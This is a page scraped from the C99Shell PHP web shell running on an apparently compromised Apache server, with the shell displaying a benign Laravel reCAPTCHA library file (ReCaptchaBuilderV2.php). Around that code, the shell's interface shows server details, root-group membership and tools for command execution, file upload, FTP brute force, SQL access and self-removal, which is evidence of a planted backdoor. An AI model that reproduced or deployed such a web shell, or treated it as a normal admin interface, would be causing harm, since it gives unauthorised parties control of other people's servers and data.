!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/biscolab/laravel-recaptcha/src/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReCaptchaBuilderV2.php (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copyright (c) 2017 - present
 * LaravelGoogleRecaptcha - ReCaptchaBuilderV2.php
 * author: Roberto Belotti - roby.belotti@gmail.com
 * web : robertobelotti.com, github.com/biscolab
 * Initial version created on: 12/9/2018
 * MIT license: https://github.com/biscolab/laravel-recaptcha/blob/master/LICENSE
 */

namespace Biscolab\ReCaptcha;

use 
Biscolab\ReCaptcha\Exceptions\InvalidConfigurationException;
use 
Illuminate\Support\Arr;

/**
 * Class ReCaptchaBuilderV2
 * @package Biscolab\ReCaptcha
 */
class ReCaptchaBuilderV2 extends ReCaptchaBuilder
{

    protected static 
$allowed_data_attribute = [
        
"theme",
        
"size",
        
"tabindex",
        
"callback",
        
"expired-callback",
        
"error-callback",
    ];

    
/**
     * ReCaptchaBuilderV2 constructor.
     *
     * @param string $api_site_key
     * @param string $api_secret_key
     */
    
public function __construct(string $api_site_keystring $api_secret_key)
    {

        
parent::__construct($api_site_key$api_secret_key'v2');
    }

    
/**
     * Write ReCAPTCHA HTML tag in your FORM
     * Insert before </form> tag
     * 
     * @param null|array $attributes
     * @return string
     */
    
public function htmlFormSnippet(?array $attributes = []): string
    
{

        
$data_attributes = [];
        
$config_data_attributes array_merge($this->getTagAttributes(), self::cleanAttributes($attributes));
        
ksort($config_data_attributes);
        foreach (
$config_data_attributes as $k => $v) {
            if (
$v) {
                
$data_attributes[] = 'data-' $k '="' $v '"';
            }
        }

        
$html '<div class="g-recaptcha" ' implode(" "$data_attributes) . ' id="recaptcha-element"></div>';

        return 
$html;
    }

    
/**
     * @return array
     * @throws InvalidConfigurationException
     */
    
public function getTagAttributes(): array
    {

        
$tag_attributes = [
            
'sitekey' => $this->api_site_key
        
];

        
$tag_attributes array_merge($tag_attributesconfig('recaptcha.tag_attributes', []));

        if (
Arr::get($tag_attributes'callback') === ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION) {
            throw new 
InvalidConfigurationException('Property "callback" ("data-callback") must be different from "' ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION '"');
        }

        if (
Arr::get($tag_attributes'expired-callback') === ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION) {
            throw new 
InvalidConfigurationException('Property "expired-callback" ("data-expired-callback") must be different from "' ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION '"');
        }

        if (
Arr::get($tag_attributes'error-callback') === ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION) {
            throw new 
InvalidConfigurationException('Property "error-callback" ("data-error-callback") must be different from "' ReCaptchaBuilder::DEFAULT_ONLOAD_JS_FUNCTION '"');
        }

        return 
$tag_attributes;
    }

    
/**
     * @return string
     */
    
public function getOnLoadCallback(): string
    
{

        
$attributes $this->getTagAttributes();

        return 
"<script>var biscolabOnloadCallback = function() {grecaptcha.render('recaptcha-element', " json_encode($attributes) . ");};</script>";
    }

    
/**
     * Compare given attributes with allowed attributes
     *
     * @param array|null $attributes
     * @return array
     */
    
public static function cleanAttributes(?array $attributes = []): array
    {
        return 
array_filter($attributes, function ($k) {
            return 
in_array($kself::$allowed_data_attribute);
        }, 
ARRAY_FILTER_USE_KEY);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--